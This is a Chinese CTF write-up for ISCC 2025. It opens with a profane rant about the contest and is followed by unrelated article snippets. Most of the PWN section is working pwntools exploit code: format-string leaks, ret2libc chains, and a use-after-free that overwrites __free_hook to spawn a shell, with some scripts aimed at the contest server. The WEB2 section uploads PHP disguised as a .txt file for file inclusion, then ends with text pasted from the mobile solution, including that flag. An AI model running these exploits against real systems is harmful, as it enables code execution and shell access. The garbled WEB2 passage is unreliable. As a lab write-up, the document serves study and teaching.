ISCC 2025练武题 WP部分
总结
垃圾比赛,垃圾题目,纯脑洞题,技术好不好没得关系,就看你脑洞大不大。
web里塞misc,re里塞misc真是牛逼他妈给牛逼开门牛逼到家。
逆天平台,卡的一批,靶机还是公用的,把flag删了也是逆天。
封你IP没得商量,下个附件,把老子IP封几十个,代理池换都换不过来。
sbcc你值得拥有
PWN
签
普通的ret2libc
from pwn import *
from LibcSearcher import *context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
#libc = ELF("../libc_back/libc-2.23.so")s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))gadget = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]def pwn():puts_got = elf.got['puts']ru(b"What's your name?\n")# gdb.attach(io)payload = p32(puts_got)+b"aaaa%7$s%23$p"sl(payload)puts_addr = u32(io.recvuntil(b"\xf7")[-4:])ru(b"0x")stack = int(r(8),16)print("puts_addr----------------->: ",hex(puts_addr))print("stack---------------_>: ",hex(stack))libc = LibcSearcher("puts",puts_addr)libc_base = puts_addr-libc.dump("puts")system = libc_base+libc.dump("system")binsh = libc_base+libc.dump("str_bin_sh")print("libc_base-------------------->:",hex(libc_base))ru(b"What's your password?\n")payload = b"a"*(0x4c-0x10)+p32(stack)*5+p32(system)*2+p32(binsh)sl(payload)itr()if __name__ == "__main__":while True:io = remote("ip",port) #这里替换成自己的# io = process(pwnfile)try:pwn()except:io.close()
pwn2
就是普通的ret2libc,这里申请和题目一样大小的chunk也就是0x60大小,会把原来的chunk申请回来,然后编辑就可以了
from pwn import *
from LibcSearcher import *# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')pwnfile = "./attachment-8"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./attachment-8.so")s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))gadget = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]def pwn():ru(b"size:")sl(str(0x60))ru(b"flag:")sl(b"flag")puts_got = elf.got['puts']puts_plt = elf.plt['puts']pop_rdi = 0x00000000004014c3pop_rsi = 0x000000000040101astart_addr = 0x401100ru(b"welcome to ISCC")s(b"a"*0x18+b"b")ru(b"ab")stack = u64(r(7).rjust(8,b"\x00"))print("stack-----------------_----->: ",hex(stack))ru(b"nice to meet you")payload = b"a"*0x18+p64(stack)+b"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)s(payload)puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))print("puts_addr--------------------------->: ",hex(puts_addr))libc_base = puts_addr-libc.sym['puts']print("libc_base---------------___>: ",hex(libc_base))system = libc_base+libc.sym['system']binsh = libc_base+0x00000000001b45bdru(b"welcome to ISCC")s(b"a"*0x18+b"b")ru(b"nice to meet you")payload = b"a"*0x18+p64(stack)+b"a"*8+p64(0x000000000040101a)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(start_addr)s(payload)itr()if __name__ == "__main__":while True:io = remote("101.200.155.151",12200)# io = process(pwnfile)try:pwn()except:io.close()
PWN3
这个程序,free后没有把指针清空,存在UAF漏洞
然后edit函数里没有对size进行check 所有会导致堆溢出,可以无限写入数据
利用方法就是,先申请lagebin大小的chunk(大于0x400),free掉这个chunk后会进入unsorted bin中然后泄露libc就可以了。
然后利用uaf漏洞改以及free掉的chunk的fd指针,把堆指向__free_hook,然后把free_hook申请到,改hook的值为system
from pwn import *
from LibcSearcher import *# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')pwnfile = "./attachment-13"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("attachment-13.6")
# libc = ELF("../libc_back/libc-2.27.so")s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))gadget = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]def add(idx,size):sla(b"Chant your choice:",b"1")sla(b"Celestial alignment coordinate:",str(idx))sla(b"Quantum essence required:",str(size))def free(idx):sla(b"Chant your choice:",b"2")sla(b"Cursed sanctum to cleanse:",str(idx))def edit(idx,size,data):sla(b"Chant your choice:",b"3")sla(b"Sanctum for arcane inscription:",str(idx))sla(b'Runic sequence length:',str(size))ru(b"Inscribe your primordial truth:")s(data)def show(idx):sla(b"Chant your choice:",b"4")sla(b"Sanctum to reveal cosmic truth:",str(idx))def pwn():add(0,0x68)add(1,0x68)add(2,0x430)add(3,0x68)free(2)show(2)main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))malloc_hook = main_arena-96-0x10libc_base = malloc_hook-libc.sym['__malloc_hook']fake_chunk = libc_base+libc.sym['__free_hook']system = libc_base+libc.sym['system']print("libc_base--------------------__>: ",hex(libc_base))print("fake_chunk--------------------->: ",hex(fake_chunk))free(1)edit(1,0x100,p64(fake_chunk))add(1,0x68)add(4,0x68)edit(4,0x100,p64(system))edit(3,0x100,b"/bin/sh\x00")free(3)# # add(5,0x30)# gdb.attach(io)itr()if __name__ == "__main__":# while True:io = remote("101.200.155.151",12700)# io = process(pwnfile)try:pwn()except:io.close()
MISC
misc1
用010 editor查看图片的数据,发现图片中隐藏了压缩包
用binwalk分离出一个zip包
密码是图片属性中的备注:L9k8JhGfDsA
然后都到一串字符串: 丙工 石早 从歌 片为 乐一 卫巾 远太 石吧 石卜 比为 比海 兄国 为摔 右片 右真 回穿 边真 边呀 那晚 作画 关色 市乙 上群 大群
这题真的很脑洞,我试了好几个小时才弄出来。
解题方法就是:以笔画为标准,把每个字符的笔画用16进制表示,每两个一组,然后16进制转字符串得到base64编码,然后再base64解码拿到flag
转为16进制是:
53 56 4E 44 51 33 74 57 52 44 4A 58 4E 54 5A 69 5A 57 6B 78 66 51 3D 3D
16进制转字符串:
SVNDQ3tWRDJXNTZiZWkxfQ==
然后解码:
ISCC{VD2W56bei1}
misc2
利用:零宽度字符隐写
去https://yuanfux.github.io/zero-width-web/
密钥:iscc2025Iq10
然后厨子解密,flag改成ISCC
RE
re1
把文件脱入ida中,分析代码发现是python解释器
去:https://pyinstxtractor-web.netlify.app/
把PyInstaller文件 分离出来
pyc反编译网站:https://www.toolnb.com/tools/pyc.html
反编译:something.pyc文件:
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.6 (default, Jun 27 2024, 17:58:20)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: something.py
import mypy, yourpydef something():print(" 打工奇遇")print("宫室长悬陇水声")print("廷陵刻此侈宠光")print("玉池生肥咽不彻")print("液枯自断仙无分")print("酒醒玉山来映人")def check():your_input = input()if your_input[None[:5]] == "ISCC{" and your_input[-1] == "}":print("Come along, you'll find the answer!")else:print("Flag is wrong!")if __name__ == "__main__":mypy.myfun()something()print("Please enter flag:")check()# okay decompiling /tmp/toolnb/dfda2b1f473b244e5976bb23babae2f1/main.pyc
这里看不出上面算法来,要去查看mypy, yourpy 这两个文件
然后发现文件夹中有个tinyaes的.so文件,然后在 PYZ-00.pyz_extracted 目录下发现了 mypy, yourpy这两个文件,但都被加密了。
所以要去解密
反编译pyimod00_crypto_key.pyc 文件拿到私钥key
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.6 (default, Jun 27 2024, 17:58:20)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: build/something/pyimod00_crypto_key.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 49 bytes
key = "yibaibayibei1801"# okay decompiling /tmp/toolnb/fd5550872ebc6df5aa6861b1ec55d038/main.pyc
tinyaes网上有专门的脚本解密。
脚本是:
import tinyaes
import zlibCRYPT_BLOCK_SIZE = 16key = bytes('yibaibayibei1801', 'utf-8')inf = open("C:\\Users\\saulgoodman\\Desktop\\something_extracted\\PYZ-00.pyz_extracted\\mypy.pyc.encrypted",'rb') # 打开加密文件
outf = open('C:\\Users\\saulgoodman\\Desktop\\baby_core1.pyc', 'wb') # 输出文件iv = inf.read(CRYPT_BLOCK_SIZE)cipher = tinyaes.AES(key, iv)# 主程序
plaintext = zlib.decompress(cipher.CTR_xcrypt_buffer(inf.read()))outf.write(b'\x55\x0d\x00\x00\0\0\0\0\0\0\0\0\0\0\0\0') # 补pyc文件头outf.write(plaintext)inf.close()
outf.close()
获得解密后的pyc,用上面提到的网站进行反编译,在PYZ-00.pyz_extracted找到mypy.py,这个是加密逻辑,并可以看到硬编码密钥
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.6 (default, Jun 27 2024, 17:58:20)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: mypy.py
import timedef myfun():part1 = "ISCC{"part2 = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx"part3 = "}"tmp = ""part2_1 = part2[None[:11]]part2_2 = part2[11[:15]]part2_3 = part2[15[:20]]part2_4 = part2[20[:None]]for i in range(len(part2_1)):tmp += chr(ord(part2_1[i]) + 1)else:for i in range(len(part2_2)):if part2_2[i].isalpha():tmp += chr(ord(part2_2[i]) ^ 32)else:tmp += chr(ord(part2_2[i]) + 0)else:for i in range(len(part2_3)):tmp += chr(ord(part2_3[i]) - 1)else:for i in range(len(part2_4)):tmp += chr(ord(part2_4[i]) + i % 2)else:cipher = "qzjotubmmfs_IS_udqx^iotfrfsuiog"true_flag = part1 + part2 + part3print(time.strftime("%Y-%m-%d %H:%M", time.localtime(time.time())))return true_flagif __name__ == "__main__":ss = myfun()print(ss)# okay decompiling /tmp/toolnb/adee3289a32935862d843b501a780a98/main.pyc
这是个逆向之后的程序,需要填写自己的密钥
cipher = '' #自己的密钥# 分段长度和位置
part2_1_enc = cipher[:11]
part2_2_enc = cipher[11:15]
part2_3_enc = cipher[15:20]
part2_4_enc = cipher[20:]# 逆操作
part2_1 = ''.join([chr(ord(c) - 1) for c in part2_1_enc])part2_2 = ''
for c in part2_2_enc:if c.isalpha():part2_2 += chr(ord(c) ^ 32) # 大小写反转else:part2_2 += cpart2_3 = ''.join([chr(ord(c) + 1) for c in part2_3_enc])part2_4 = ''
for i, c in enumerate(part2_4_enc):part2_4 += chr(ord(c) - (i % 2))part2 = part2_1 + part2_2 + part2_3 + part2_4
flag = f"ISCC{{{part2}}}"
print(flag)
运行后获得flag
re2
运行程序随意输入
有upx壳
upx脱壳
upx.exe -d C:\Users\xxx\Desktop\SP35.exe
放入ida静态分析
关键代码
下断点进行动态调试
v13就是flag的地址
re3
一开始看到字符串中有
*11110100001010000101111#
就一直往迷宫方向想,尝试许久后放弃,转换思路。
动态调试,发现加密函数:
密钥是xmmword_7FF61E102220里面的值:
逆向可知算法是xxtea,套模板解就⾏
import struct
def xxtea_encrypt(data, key):def mx():return (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum_ ^ y) + (key[(p & 3) ^ e] ^
z)))n = len(data)if n < 2:return datarounds = 6 + 52 // nsum_ = 0delta = 0x9e3779b9y = 0z = data[-1]for _ in range(rounds):sum_ = (sum_ + delta) & 0xffffffffe = (sum_ >> 2) & 3for p in range(n):y = data[(p + 1) % n]z = data[p] = (data[p] + mx()) & 0xffffffffreturn data
def read_key_from_exe(file_path, offset=0x30e20):with open(file_path, 'rb') as f:f.seek(offset)key_bytes = f.read(16)if len(key_bytes) != 16:raise ValueError("读取 key 失败,长度不足 16 字节")return list(struct.unpack('<4I', key_bytes))
def main():exe_path = "C:\\Users\\saulgoodman\\Desktop\\attachment-14\\冗余的代码.exe" # 替换为实际路径v = [33686020, 67174660, 67240450]xor_key = [0x0d, 0x0c, 0x0b, 0x0a, 0x11, 0x10, 0x0f, 0x0e, 0x15, 0x14, 0x13, 0x12]key = read_key_from_exe(exe_path)encrypted = xxtea_encrypt(v.copy(), key)encrypted_bytes = b''.join(struct.pack('<I', x) for x in encrypted)xor_result = bytes(b ^ xor_key[i] for i, b in enumerate(encrypted_bytes))final = struct.unpack('<III', xor_result)print("ISCC{", end='')for num in final:print(f"{num:08x}", end='') # 修正为8位十六进制print("}")
if __name__ == "__main__":main()
mobile
mobil1
直接解压,反编译class.dex文件就可以了
关键代码:
private boolean Jformat(String arg5) {int v0 = arg5.lastIndexOf("_");boolean v2 = false;if(v0 != -1) {if(arg5.length() < 10) {}else if((arg5.startsWith("ISCC{")) && (arg5.endsWith("}"))) {boolean v0_1 = this.nativeCheckLast(arg5.substring(v0 + 1, arg5.length() - 1));boolean v5 = this.nativeCheckFormat(arg5);if((v0_1) && (v5)) {v2 = true;}}}return v2;}
在IDA中分析libencode.so文件
在**__fastcall Java_com_example_encode_MainActivity_nativeCheckLast**中有个 encode_last_part 函数
char *__fastcall encode_last_part(char *a1, unsigned __int8 *a2)
{unsigned __int8 *v2; // r14__int64 v3; // r15__int64 i; // r12unsigned __int8 v5; // siunsigned __int64 v6; // rdx__int64 v7; // rcxunsigned __int64 v8; // rax__int64 v9; // rdx_BYTE *v10; // rcxunsigned __int64 v11; // raxchar v12; // dl*(_OWORD *)a1 = 0LL;*((_QWORD *)a1 + 2) = 0LL;v2 = a2 + 1;v3 = *a2 >> 1;if ( (*a2 & 1) != 0 )v2 = (unsigned __int8 *)*((_QWORD *)a2 + 2);if ( (*a2 & 1) != 0 )v3 = *((_QWORD *)a2 + 1);if ( v3 ){for ( i = 0LL; i != v3; ++i )std::string::push_back(a1, (unsigned int)(char)(v2[i] + 3));v5 = *a1;v6 = *((_QWORD *)a1 + 2);v7 = *((_QWORD *)a1 + 1);}else{v7 = 0LL;v6 = 0LL;v5 = 0;}v8 = (unsigned __int64)(a1 + 1);if ( (v5 & 1) != 0 )v8 = v6;v9 = v5 >> 1;if ( (v5 & 1) != 0 )v9 = v7;if ( v9 ){v10 = (_BYTE *)(v8 + v9 - 1);if ( (unsigned __int64)v10 > v8 ){v11 = v8 + 1;do{v12 = *(_BYTE *)(v11 - 1);*(_BYTE *)(v11 - 1) = *v10;*v10-- = v12;}while ( v11++ < (unsigned __int64)v10 );}}return a1;
}
这个代码作用是:
-
将输入数据的每个字节加 3。
将结果追加到
a1
(std::string
)。
反转编码后的数据。
然后在函数中可以看到这个:
LOBYTE(v3) = (*(_QWORD *)v9 ^ 0x436A6C6635333538LL | (unsigned __int8)v9[8] ^ 0x50LL) == 0;
因为是小端序储存,所以正确的数据是 0x50436A6C6635333538
然后每两个16进制为一组减去三
0x50 - 3 = 0x4D ('M')
0x43 - 3 = 0x40 ('@')
0x6A - 3 = 0x67 ('g')
0x6C - 3 = 0x69 ('i')
0x66 - 3 = 0x63 ('c')
0x35 - 3 = 0x32 ('2')
0x33 - 3 = 0x30 ('0')
0x35 - 3 = 0x32 ('2')
0x38 - 3 = 0x35 ('5')
为M@gic2025
在 __fastcall Java_com_example_encode_MainActivity_nativeCheckFormat 中也有个encode函数:
unsigned __int8 *__fastcall encode_front_part(unsigned __int8 *a1, unsigned __int8 *a2)
{unsigned __int8 *v2; // r15__int64 v3; // r12__int64 i; // r13char v5; // dlint v6; // ecxchar *v7; // rsi__int128 v9; // [rsp+0h] [rbp-48h] BYREFvoid *ptr; // [rsp+10h] [rbp-38h]unsigned __int64 v11; // [rsp+18h] [rbp-30h]v11 = __readfsqword(0x28u);v9 = 0LL;ptr = 0LL;v2 = a2 + 1;v3 = *a2 >> 1;if ( (*a2 & 1) != 0 )v2 = (unsigned __int8 *)*((_QWORD *)a2 + 2);if ( (*a2 & 1) != 0 )v3 = *((_QWORD *)a2 + 1);if ( v3 ){for ( i = 0LL; i != v3; ++i )std::string::push_back(&v9, (char)v2[i] ^ 0x2Fu);v5 = v9;v6 = (int)ptr;}else{v6 = 0;v5 = 0;}v7 = (char *)&v9 + 1;if ( (v5 & 1) != 0 )LODWORD(v7) = v6;simple_base64_encode(a1, (int)v7);if ( (v9 & 1) != 0 )operator delete(ptr);return a1;
}
作用是:
- 从输入数据
a2
中提取一部分数据(具体位置和长度由a2
的第一个字节决定)。 - 对提取的每个字节进行异或操作(
^ 0x2F
)。 - 将异或后的结果进行Base64编码,存入输出缓冲区
a1
。 - 返回编码后的结果。
v18 = _mm_xor_si128(_mm_loadu_si128(v17), (__m128i)xmmword_145A0);
查看**(__m128i)xmmword_145A0)** 的内容为:Zx9IWG9dW1UMcAAA
base64字符集:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
对其进行base64解码,然后异或0x2f
得到:H0gw@rtz#_
所以flag为:ISCC{H0gw@rtz#_M@gic2025}
WEB
WEB1
访问/robots.txt
发现有个f10g.txt
访问发现没有flag
然后看源码的最底部有个注释
SGF …
把这个在https://qianqianquege.com/go/index.html#/ 导入
可以得到一盘只有黑子的围棋,看上去像一个等式,猜测2=0
然后f10g.txt的0换成2,拿到一个错误的flag
然后把f12g.txt中的所有0都换成2,提交正确
WEB2
右键源码,看到有个includes/*
访问includes,发现有个图片,根据内容猜测,flag.php
访问includes/flag.php
根据提示要get一把锤子
然后回到最初的页面
?chuizi=11111
拿到提示想到文件上传
访问upload页面
文件上传漏洞,只能上传txt文件,于是上传一个txt文件
内容是
<?php highlight_file("var/www/html/includes/flag.php");?>
然后回答网站首页
访问:
Ip/?chuizi=uploads/文件名.txt
base64字符集:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
对其进行base64解码,然后异或0x2f
得到:H0gw@rtz#_
所以flag为:ISCC{H0gw@rtz#_M@gic2025}
WEB3
原本不会的,但平台崩了,访问直接拿来flag。白捡200分。
相关文章:
ISCC 2025练武题 WP部分
总结 垃圾比赛,垃圾题目,纯脑洞题,技术好不好没得关系,就看你脑洞大不大。 web里塞misc,re里塞misc真是牛逼他妈给牛逼开门牛逼到家。 逆天平台,卡的一批,靶机还是公用的,把flag删…...
mysql:什么是一致性视图(Read View)
一致性视图(Read View)是 MVCC(多版本并发控制)中的核心概念,用于实现事务隔离性。 它是一个逻辑概念,让事务在读取数据时看到特定时间点的数据库快照,而不受其他事务并发修改的影响。 一致性…...
android中背压问题面试题及高质量回答范例
🎯 回答的目标是: 表现出你理解背压的本质(不是框架知识,而是系统层面的问题)。 能清晰讲出几种处理背压的方案(理论 实战)。 能结合 Android 场景讲具体例子(比如 UI 线程、网络…...
【C++】C++11(上)
🚀write in front🚀 📜所属专栏: C学习 🛰️博客主页:睿睿的博客主页 🛰️代码仓库:🎉VS2022_C语言仓库 🎡您的点赞、关注、收藏、评论,是对我最大…...
工具分享:通过滑块拉取CAN报文信号数值自动发送报文
0. 概述 CAN报文发送工具使用wxpython进行开发,配套Excel模板可以通过修改Excel自定义界面展示的信号名称和信号的属性;同时,工具支持导入现场采集的报文数据自动按照配套Excel模板定义的报文发送周期进行模拟发送。 由于是我好几年前开发的作品,一些开发细节也记得不是很…...
android 折叠屏开发适配全解析:多窗口、铰链处理与响应式布局
安卓适配折叠屏指南 折叠屏设备为安卓开发带来了新的机遇和挑战。以下是适配折叠屏的关键要点: 1. 屏幕连续性检测 // 检查设备是否支持折叠屏特性 private fun isFoldableDevice(context: Context): Boolean {return context.packageManager.hasSystemFeature(&…...
Cloudera CDP 7.1.3 主机异常关机导致元数据丢失,node不能与CM通信
问题描述 plaintext ERROR Could not load post-deployment data from /var/run/cloudera-scm-agent/process/ccdeploy_hadoop-conf_etchadoopconf.cloudera.yarn_-8903374259073700469 IOError: [Errno 2] No such file or directory: /var/run/cloudera-scm-agent/proce…...
超越 DeepSeek-R1,英伟达新模型登顶
近日,英伟达发布全新开源模型系列 Llama-Nemotron,凭借卓越性能引发业界关注,有望重塑开源 AI 格局。 该系列在推理能力上超越 DeepSeek-R1,内存效率与吞吐量显著提升。其创新采用合成数据监督微调与强化学习训练,全方…...
centos8.5.2111 更换阿里云源
使用前提是服务器可以连接互联网 1、备份现有软件配置文件 cd /etc/yum.repos.d/ mkdir backup mv CentOS-* backup/ 2、下载阿里云的软件配置文件 wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo 3、清理并重建…...
阿里云平台与STM32的物联网设计
基于阿里云平台与STM32的物联网设计方案可结合硬件选型、通信协议、云端配置及功能实现等多个维度进行设计。以下是综合多个参考案例的详细设计方案: 一、硬件选型与架构设计 主控芯片选择 STM32系列:推荐使用STM32F103(如STM32F103ZET6、STM…...
ESP32- 开发笔记- 软件开发 6 蓝牙协议栈 1
1 蓝牙 ESP32 是一款支持蓝牙功能的强大微控制器,ESP-IDF (Espressif IoT Development Framework) 提供了完整的蓝牙开发支持。 1.1 蓝牙模式 ESP32 支持两种蓝牙模式,即同时支持经典蓝牙和低功耗蓝牙。 1.1.1 蓝牙经典 (BT/BDR/EDR) 支持传统蓝牙协…...
python爬虫爬取网站图片出现403解决方法【仅供学习使用】
基于CSDN第一篇文章,Python爬虫之入门保姆级教程,学不会我去你家刷厕所。 这篇文章是2021年作者发表的,由于此教程,网站添加了反爬机制,有作者通过添加cookie信息来达到原来的效果,Python爬虫添加Cookies以…...
利用动态数字孪生:Franka Research 3 机械臂在机器人策略评估中的创新实践——基于Real-is-Sim框架的仿真与现实闭环验证
一、前言: 在机器人技术飞速发展的今天,如何高效、准确地评估机器人在现实世界中的操作策略,成为制约机器人技术进一步突破的关键瓶颈。传统方法往往依赖于耗时且成本高昂的真实世界测试,而模拟环境虽能提供便利,却因…...
Spark-Core(RDD行动算子)
一、RDD行动算子 行动算子就是会触发action的算子,触发action的含义就是真正的计算数据。 1、reduce 函数签名: def reduce(f: (T, T) > T): T 函数说明:聚集 RDD 中的所有元素,先聚合分区内数据,再聚合分区间…...
spark转换算子
在 Apache Spark 中,转换算子(Transformation)是用于对 RDD(弹性分布式数据集)进行转换操作的函数。这些操作是惰性的,即在调用转换算子时,Spark 并不会立即执行计算,而是记录下转换…...
hadoop的运行模式
(一)Hadoop的运行模式 hadoop一共有如下三种运行方式: 1. 本地运行。数据存储在linux本地,测试偶尔用一下。我们上一节课使用的就是本地运行模式hadoop100。 2. 伪分布式。在一台机器上模拟出 Hadoop 分布式系统的各个组件&#x…...
力扣——25 K个一组翻转链表
目录 1.题目描述: 2.算法分析: 3.代码展示: 1.题目描述: 给你链表的头节点 head ,每 k 个节点一组进行翻转,请你返回修改后的链表。 k 是一个正整数,它的值小于或等于链表的长度。如果节点总…...
React Router Vs Vue Router
文章目录 前言✅ React Router vs Vue Router 对比一览🧩 React Router 的底层原理简述① 路由声明与匹配(基于 JSX)② 历史模式管理③ 响应式状态处理④ 路由渲染机制(Outlet) ✅ 总结:原理是否一样&#…...
Spark中RDD算子的介绍
引言 在大数据处理领域,Apache Spark凭借其高效性和灵活性备受青睐。而弹性分布式数据集(Resilient Distributed Datasets,简称RDD)则是Spark的核心数据结构。RDD算子作为操作RDD的关键工具,掌握它们对于充分发挥Spar…...
Vivo 手机官网交互效果实现解析
在现代网页设计中,流畅的滚动交互和精美的视觉效果是提升用户体验的关键。本文将深入解析 Vivo 手机官网 Demo 中的一个核心交互效果 —— 基于滚轮滚动的内容展示系统。这个系统允许用户通过滚动鼠标滚轮来浏览不同的手机镜头配置信息,同时伴随平滑的过…...
powershell批处理——io校验
powershell批处理——io校验 在刷题时,时常回想,OJ平台是如何校验竞赛队员提交的代码的,OJ平台并不看代码,而是使用“黑盒测试”,用测试数据来验证。对于每题,都事先设定了很多组输入数据(data…...
AI——认知建模工具:ACT-R
ACT-R(Adaptive Control of Thought—Rational)是一种用于模拟人类认知过程的计算架构,广泛应用于心理学、认知科学和人工智能研究。它通过模块化的方式模拟记忆、注意力、学习、决策等认知机制。以下是ACT-R的核心概念、安装方法、基础语法及…...
Docker 容器镜像环境的依赖导出
#工作记录 如果我们想获取 Docker 容器中已有镜像的所有的依赖包信息,包括其他可能的系统依赖,用于在其他环境(如 WSL 或 Windows)中重新搭建相同的运行环境。 以下是完整的步骤: 1. 导出 Python 依赖(r…...
[ubuntu]fatal error: Eigen/Core: No such file or directory
确认是否安装了eigen3sudo apt-get install libeigen3-dev 解决 fatal error: Eigen/Core: No such file or directory 如果已经安装,但当调用 eigen 库时,报错:fatal error: Eigen/Core: No such file or directory 这是因为 eigen 库默认…...
《硬件视界》专栏介绍(持续更新ing)
名人说:路漫漫其修远兮,吾将上下而求索。 —— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 ✨ 专栏简介📚 当前专栏目录(持续更新中)&a…...
TypeScript类型挑战-刷题
TypeScript类型挑战 vscode刷题 vscode 插件 热身题 // Test Cases import type { Equal, Expect, NotAny } from "./test-utils";type cases [Expect<NotAny<HelloWorld>>, Expect<Equal<HelloWorld, string>>];// Your Code Here …...
Java后端开发day43--IO流(三)--缓冲流转换流序列化流
(以下内容全部来自上述课程) 缓冲流 1. 字节缓冲流 原理:底层自带了长度为8192的缓冲区提高性能 1.1拷贝文件(一次读写一个字节) //1.创建缓冲流的对象 BufferedInputStream bis new BufferedInputStream(new Fi…...
Nginx性能调优与深度监控
一:Nginx性能调优 1.更改进程数和连接数 (1)进程数 在高并发环境中,需要启动更多的Nginx进程以保证快速响应,用以处理用户的请求,避免造成阻塞。使用psaux命令查看Nginx运行进程的个数。从命令执行结果可…...
【LeetCode】高频 SQL 50题 题解
目录 查询 可回收且低脂的产品 寻找用户推荐人 大的国家 文章浏览 I 无效的推文 连接 使用唯一标识码替换员工ID 产品销售分析 I 进店却未进行过交易的顾客 上升的温度 每台机器的进程平均运行时间 员工奖金 学生们参加各科测试的次数 至少有5名直接下属的经理 …...
基于Qt的app开发第六天
写在前面 博主是一个大一下的计科生,现在正在做C面向对象程序设计的课程设计,具体功能可以看本专栏的第一篇博客。 目前的进度是:配好MySQL驱动->设计完界面->实现各个界面的切换 这一篇博主要初步实现待办板块的功能,即新建…...
剑指大规模 AI 可观测,阿里云 Prometheus 2.0 应运而生
作者:曾庆国(悦达) Prometheus 大家应该非常熟悉,正文开始前,让我们一起来回顾开源 Prometheus 项目的发展史。Prometheus 最初由 SoundCloud 的工程师 Bjrn Rabehl 和 Julius Volz 于 2012 年开发。当时,…...
阿里云2核2g安装nexus
阿里云2核2g安装nexus # 安装 JDK 1.8 sudo yum install -y java-1.8.0-openjdk-devel# 验证安装 java -version创建运行用户 cd /opt sudo wget https://download.sonatype.com/nexus/3/latest-unix.tar.gz sudo tar -xzf latest-unix.tar.gz sudo mv nexus-3* nexussudo us…...
eFish-SBC-RK3576工控板USB HOST接口USB3.0测试操作指南
本小节特指丝印号为J8的USB HOST接口,本开发板只有两个USB3.0接口,无USB2.0 这里接U盘测试。 在不接入任何USB外设的情况下,先查看/dev目录下是否存在/dev/sd*设备,执行命令: $ ls /dev/sd* 如下图所示: …...
嵌入式软件学习指南:从入门到进阶
嵌入式软件是物联网(IoT)、汽车电子、智能家居等领域的核心技术之一。它涉及硬件与软件的紧密结合,要求开发者不仅会写代码,还要理解底层硬件的工作原理。本文将带你系统了解嵌入式软件的学习路径、核心知识体系及实用资源推荐。 …...
【论文阅读】Adversarial Training Towards Robust Multimedia Recommender System
Adversarial Training Towards Robust Multimedia Recommender System 题目翻译:面向鲁棒多媒体推荐系统的对抗训练 论文链接:点这里 标签:多媒体推荐、对抗训练、推荐系统鲁棒性 摘要 随着多媒体内容在网络上的普及,迫切需要开…...
转换算子和行动算子的区别
转换算子会从一个已经存在的数据集 (RDD)中生成一个新的数据集 (RDD),比如map就是一个转换算子,它通过映射关系从一个RDD生成了一个新的RDD。 行动算子 (actions): 行动算子在进行数据集计算后会给driver程序返回一个值。 转换算子和行动算子最大的区别࿱…...
Selenium的driver.get_url 和 手动输入网址, 并点击的操作,有什么不同?
我在搞爬取的时候,发现有些网站直接用driver.get(url) 跳转到目标特定的网址的时候,会被强制跳转到其他的网址上,但是如果是自己手动,在网址栏那里输入网址,并点回车,却能完成跳转。 这是在使用 Selenium …...
【强化学习】强化学习算法 - 多臂老虎机问题
